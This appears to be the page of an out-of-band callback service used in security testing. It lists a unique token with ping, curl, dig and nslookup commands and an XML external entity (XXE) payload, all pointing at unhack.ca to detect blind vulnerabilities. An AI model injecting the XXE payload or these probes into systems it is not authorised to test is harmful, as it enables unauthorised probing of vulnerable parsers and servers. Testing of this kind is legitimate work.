$ ping -c1 -p 005ce86c165083f1749a3df641d97500 unhack.ca
 
$ curl http://unhack.ca/p/5ce86c165083f1749a3df641d975
 
$ dig 5ce86c165083f1749a3df641d975 @unhack.ca
 
$ dig 5ce86c165083f1749a3df641d975.ns.unhack.ca
 
C:\> nslookup 5ce86c165083f1749a3df641d975 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5ce86c165083f1749a3df641d975">]>
    <foo>&xxe;</foo>
 
Waiting for ping...